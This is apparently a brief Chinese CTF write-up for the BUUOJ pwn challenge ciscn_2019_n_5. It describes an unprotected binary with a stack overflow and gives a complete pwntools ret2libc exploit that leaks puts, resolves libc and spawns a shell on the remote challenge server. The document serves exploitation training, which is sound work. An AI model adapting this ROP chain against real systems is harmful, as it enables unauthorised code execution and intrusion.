PWN手的成长之路-17-ciscn_2019_n_5-ret2libc

file,checksec:

居然无任何保护。
IDA 打开文件:

存在栈溢出,但是并没有找到backdoor 函数,或者system函数和binsh字符串,因此就用 ret2libc来打。
exp:
from pwn import *
from LibcSearcher import *
#start
r = remote('node5.buuoj.cn',29486)
elf = ELF('./pwn')
context.log_level='debug'
#params
rdi_addr = 0x400713
ret_addr = 0x4004c9
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
#atack1
payload = b'a'*(0x20+8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) +p64(main_addr)
r.sendlineafter(b'name','aaa')
r.recvline(b'\n')
r.recvline(b'\n')
r.sendline(payload)
data_now = r.recv(timeout=1) #这一句有没有都可以,不影响程序。
puts_real_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real_addr))
#libc
libc = LibcSearcher('puts',puts_real_addr)
base_addr = puts_real_addr -libc.dump('puts')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')
#attack2
payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.sendlineafter(b'name','aaa')
r.recvline(b'\n')
r.recvline(b'\n')
r.sendline(payload2)
r.interactive()

浙公网安备 33010602011771号